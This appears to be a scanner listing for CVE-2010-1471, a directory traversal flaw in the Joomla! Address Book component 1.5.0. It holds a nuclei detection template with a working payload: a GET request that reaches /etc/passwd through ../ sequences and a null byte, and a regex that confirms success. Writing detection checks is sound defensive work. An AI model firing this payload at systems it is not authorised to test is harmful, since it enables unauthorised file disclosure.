Joomla! Component Address Book 1.5.0 - Local File Inclusion

highseverity

7.5CVSS score

16.2%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the AddressBook (com_addressbook) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.

Fix

Update to the latest version of Joomla! Component Address Book or apply the necessary patches to fix the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_addressbook&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1471 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1471

info:
  name: Joomla! Component Address Book 1.5.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the AddressBook (com_addressbook) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: |
    Update to the latest version of Joomla! Component Address Book or apply the necessary patches to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12170
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1471
    - http://www.vupen.com/english/advisories/2010/0862
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1471
    cwe-id: CWE-22
    epss-score: 0.16152
    epss-percentile: 0.96956
    cpe: cpe:2.3:a:b-elektro:com_addressbook:1.5.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: b-elektro
    product: com_addressbook
  tags: cve,cve2010,joomla,lfi,edb,b-elektro,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_addressbook&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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